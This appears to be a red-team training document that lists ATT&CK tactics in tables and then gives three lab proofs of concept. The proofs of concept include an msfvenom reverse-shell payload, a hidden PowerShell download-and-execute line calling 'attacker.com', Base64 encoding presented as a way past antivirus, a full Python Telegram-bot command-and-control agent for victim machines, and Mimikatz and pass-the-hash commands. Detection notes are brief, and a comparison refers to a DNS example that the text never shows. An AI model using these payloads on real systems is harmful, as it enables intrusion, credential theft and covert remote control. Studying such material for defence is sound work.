

# Objective

This document outlines standardized operational instructions for conducting and understanding cybersecurity activities aligned with 13 tactical objectives. Each tactic is supported by 3 distinct techniques, and every technique is implemented through 2 precise procedures. The purpose of this framework is to establish operational clarity, promote consistency across security operations, and enhance threat detection and response.

## Tactics, Techniques & Procedures (TTPs)

### 1. Initial Access

Technique	Procedure 1	Procedure 2
Spear Phishing	Send malicious attachment	Redirect to spoofed login
Drive-by Compromise	Inject malicious script in ads	Exploit vulnerable browser plugin
Exploit Public-Facing Application	SQL Injection	Remote Code Execution (RCE)

### 2. Execution

Technique	Procedure 1	Procedure 2
Command and Script Interpreter	Use PowerShell	Use bash shell
Exploitation for Client Execution	Deliver infected PDF	Exploit Flash vulnerability
Scheduled Task/Job	Create cron job	Use Task Scheduler

### 3. Persistence

Technique	Procedure 1	Procedure 2
Registry Run Keys	Add to HKCU\Run	Modify RunOnce key
Boot or Logon Autostart	Modify startup folder	Create logon script
Account Manipulation	Add user to admin group	Change default passwords

### 4. Privilege Escalation

Technique	Procedure 1	Procedure 2
Exploitation for Privilege Escalation	Kernel exploit	DLL hijacking
Access Token Manipulation	Token stealing	Impersonate system account
Setuid and Setgid	Exploit setuid binary	Abuse misconfigured sudoers

### 5. Defense Evasion

Technique	Procedure 1	Procedure 2
Obfuscated Files	Use base64-encoded scripts	Encrypt payloads
Deactivate Security Software	Disable AV service	Modify registry settings
Timestomp	Backdate executable	Alter log file timestamps

## 6. Credential Access

Technique	Procedure 1	Procedure 2
Credential Dumping	Use Mimikatz	Access LSASS
Brute Force	Dictionary attack	Password spraying
Keylogging	Install keylogger	Use malicious browser extension

## 7. Discovery

Technique	Procedure 1	Procedure 2
Network Scanning	Use Nmap	Use ping sweep
System Information Discovery	Run systeminfo	Check BIOS and OS version
File and Directory Discovery	Use dir or ls	Scan known locations for secrets

## 8. Lateral Movement

Technique	Procedure 1	Procedure 2
Remote Desktop Protocol (RDP)	Brute-force RDP	Use stolen credentials
SMB/Windows Admin Shares	Access C\$ or ADMIN\$	Copy malicious binaries
Pass the Hash	Steal NTLM hash	Authenticate without password

## 9. Collection

Technique	Procedure 1	Procedure 2
Screen Capture	Use nircmd	PowerShell screenshot module
Input Capture	Record keystrokes	Mouse movement logger
Data Staged in Cloud	Upload to Dropbox	Sync via Google Drive API

## 10. Command and Control (C2)

Technique	Procedure 1	Procedure 2
HTTP/S C2 Channel	Use HTTP beaconing	Use TLS over port 443
Domain Fronting	Use Google/App engine	Bypass firewalls via CDN
Custom Protocol	Use proprietary binary protocol	Encode data in DNS queries

## 11. Exfiltration

Technique	Procedure 1	Procedure 2
Exfiltration Over HTTPS	Post to web server	Use HTTPS API endpoint
Exfiltration to Cloud Storage	Upload to AWS S3	Use Google Drive
Removable Media	Copy to USB	Use encrypted SD card

## 12. Impact

Technique	Procedure 1	Procedure 2
Data Destruction	Wipe partitions	Format disks
Disk Encryption	Deploy ransomware	Use BitLocker silently
Resource Hijacking	Cryptojacking via XMRig	Consume CPU via loop scripts

## 13. Reconnaissance

Technique	Procedure 1	Procedure 2
DNS Enumeration	Use nslookup or dig	Scrape WHOIS records
Social Media Profiling	Collect employee info from LinkedIn	Search Twitter for internal tools
Search Engine Discovery	Use Google dorking	Access cached site snapshots

Example of POC

### ✓ **Tactic:** Defense Evasion

🔧 **Technique:** Obfuscated Files or Information (MITRE ID: T1027)

**Goal:** Avoid detection by obfuscating malicious scripts or payloads to bypass antivirus and endpoint protection systems.

### 🎯 **Objective**

Create a **malicious PowerShell payload**, **obfuscate** it using **Base64 encoding**, and demonstrate how it can **evade basic detection mechanisms**.

### 🔧 **Lab Setup**

- **Target System:** Windows 10 (with Defender enabled)
- **Attacker System:** Kali Linux or Parrot OS
- **Tools Used:** PowerShell, MSFvenom, Base64 encoding, Notepad

### 🧭 **Step-by-Step Execution**

#### 🔧 **Procedure 1: Generate PowerShell Payload**

We use **MSFvenom** to create a reverse shell payload in PowerShell format.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh
```

- ◆ Output: This gives a long PowerShell one-liner that opens a Meterpreter reverse shell back to the attacker's system.

## Procedure 2: Obfuscate the Payload Using Base64

Now, take the PowerShell payload and encode it using Base64:

1. Open Kali Linux terminal.
2. Save the payload into a file:

```
echo "powershell -nop -w hidden -c IEX(New-Object  
Net.WebClient).DownloadString('http://attacker.com/shell.ps1') > shell.txt
```

1. Encode it:

```
cat shell.txt | iconv -t UTF-16LE | base64
```

1. You'll get a long Base64 string. Use it like this on the target:

```
powershell.exe -EncodedCommand <BASE64_ENCODED_PAYLOAD>
```

✚ **Note:** PowerShell accepts -EncodedCommand in UTF-16LE Base64 format, which is rarely flagged by signature-based antivirus systems.

## Evasion Outcome

- **Obfuscation helps bypass antivirus:** Since the payload is encoded and doesn't contain direct malicious strings (like "Invoke-Expression" or "DownloadString"), **basic antivirus (like Windows Defender)** may not flag it immediately.
- You've effectively evaded **basic detection**, satisfying the "Defense Evasion" tactic via **obfuscation**.

## Detection Recommendations

If you're defending:

- Monitor for usage of -EncodedCommand in logs.
- Set alerts for excessive PowerShell usage.
- Use EDRs that **decode Base64 in real time**.

## Mapping to MITRE ATT&CK

Category	Description
<b>Tactic</b>	Defense Evasion
<b>Technique</b>	Obfuscated Files or Information
<b>Technique ID</b>	T1027
<b>Sub-technique</b>	T1027.001 - Binary Obfuscation / T1027.002 - Software Packing
<b>Tools</b>	PowerShell, Base64
<b>Real-World Use</b>	Used in Emotet, TrickBot, and APT29 campaigns


## Summary

Step	Action
	Generate reverse shell payload using msfvenom
	Encode the payload in Base64
	Deliver and execute with - EncodedCommand in PowerShell
	Bypass AV with obfuscation, achieving <b>Defense Evasion</b>

## Example 2



## Option 2: **Telegram-based C2**

 **MITRE Technique ID:** T1102.002 — *Web Service: Social Media*

### **Objective**

Use **Telegram Bot API** to create a secure C2 channel over Telegram, allowing attackers to **exfiltrate data or control systems remotely** using the chat interface.

### **Lab Setup**

Component	Description
Attacker	Telegram App & Bot Token
Victim	Windows/Linux with Python and internet access
Tool	Python script using Telegram API
Channel	Telegram bot + chat

### **Step-by-Step Practical Execution**

#### **Procedure 1: Create Telegram Bot**

1. Open Telegram app, search for **@BotFather**.
2. Create a new bot:

text

CopyEdit

/start

/newbot

Name: MyC2Bot

Username: myc2\_bot

 Note down the **Bot Token**.

## Procedure 2: Python C2 Agent on Victim

python

CopyEdit

```
import requests
```

```
import subprocess
```

```
import time
```

```
BOT_TOKEN = 'your_bot_token_here'
```

```
CHAT_ID = 'your_chat_id_here'
```

```
API_URL = f'https://api.telegram.org/bot{BOT_TOKEN}'
```

```
def get_updates():
```

```
    response = requests.get(f"{API_URL}/getUpdates")
```

```
    return response.json()
```

```
def send_message(text):
```

```
    requests.post(f"{API_URL}/sendMessage", data={"chat_id": CHAT_ID, "text": text})
```

```
while True:
```

```
    updates = get_updates()
```

```
    command = updates['result'][-1]['message']['text']
```

```
    try:
```

```
        output = subprocess.getoutput(command)
```

```
        send_message(output)
```

```
    except:
```

```
        send_message("Error executing command.")
```

```
time.sleep(10)
```

### What It Does:

- Connects to your Telegram bot.
- Reads command from latest message.
- Executes the command on the system.
- Sends output back via Telegram chat.

### Evasion Strengths

- **Uses encrypted HTTPS over Telegram API**
- Traffic resembles **legitimate Telegram usage**
- Can work even on **mobile hotspots** or **proxy-ed networks**





### MITRE Mapping

Field	Description
<b>Tactic</b>	Command and Control
<b>Technique</b>	Web Service: Social Media
<b>Technique ID</b>	T1102.002
<b>Tools</b>	Telegram Bot, Python
<b>APT Example</b>	StrongPity, Gamaredon








### Summary Table

Step	Action
	Create Telegram bot
	Deploy Python script on victim
	Use chat commands to interact
	Encrypted and stealthy communication over Telegram

## Final Comparison

Feature	DNS Tunneling	Telegram C2
 Detection	Low (if DNS is not monitored)	Medium (but encrypted)
 Encrypted	Not by default (unless DNS-over-TLS)	Yes (HTTPS)
 Ease of Use	Requires DNS setup	Very easy with Python
 Traffic Type	DNS (Port 53)	HTTPS (Port 443)

### Example 3

-  Tactic
-  Technique (from MITRE ATT&CK)
-  Description
-  Objective
-  Tools/Setup
-  Practical Steps (Simulation/Lab-Based)
-  Detection/Defense Notes






## MITRE Tactic: **Lateral Movement (TA0008)**

### Technique: **Pass the Hash (T1550.002)**

#### **Objective:**

Use stolen NTLM hash credentials to authenticate to a remote system without needing the actual plaintext password.

#### **Tools Required:**

-  Kali Linux or Parrot OS
-  Windows 10/11 target (in same network/domain)
-  impacket toolkit (pth-smbclient.py, pth-winexe, etc.)
-  Mimikatz (to extract hashes if needed)
-  Target must have SMB or WinRM open

### **Setup Assumptions:**

- Attacker has a valid **NTLM hash** of a local or domain user.
- Attacker and victim are on the same network.
- SMB/WinRM ports are reachable (e.g., port 445, 139, 5985).

### **Practical Steps (Lab-based Simulation):**

- Step 1: Extract NTLM Hash (if not already available)

powershell

CopyEdit

.\mimikatz.exe

privilege::debug

log

sekurlsa::logonpasswords

👉 Note the NTLM hash of an authenticated user.

- Step 2: Use impacket to perform Pass-the-Hash

bash

CopyEdit

pth-smbclient.py -hashes :<NTLM\_HASH> <DOMAIN>/<USER>@<TARGET\_IP>

💡 Example:

bash

CopyEdit

pth-smbclient.py -hashes :aad3b435b51404eeaad3b435b51404ee john@192.168.1.100

 You'll get an SMB shell if successful.

- Step 3: Remotely Execute Commands using pth-winexe

bash

CopyEdit

```
pth-winexe -U 'Administrator%aad3b435b51404eeaad3b435b51404ee' //192.168.1.100 "cmd.exe"
```

👉 This will open a remote shell on the victim system using the hash.

✅ **Post-Exploitation Activities (Optional):**

- Use the shell to drop payloads, create users, or pivot.
- Use wmiexec.py for stealthier access:

bash

CopyEdit

```
wmiexec.py -hashes :<hash> <user>@<target>
```

🔒 **Detection & Defense:**

Area	Technique
💡 EDR/Logs	Monitor Windows Event Logs for unusual logins (Event ID 4624)
💡 Sysmon	Detect anomalous command execution via remote shells
🔒 Mitigation	Use LAPS, enforce SMB signing, and enable WDAC
🔒 Prevention	Disable NTLM where possible, use local admin isolation

📖 **References:**

- MITRE ATT&CK: [T1550.002](#)
- Impacket: <https://github.com/SecureAuthCorp/impacket>
- Mimikatz: <https://github.com/gentilkiwi/mimikatz>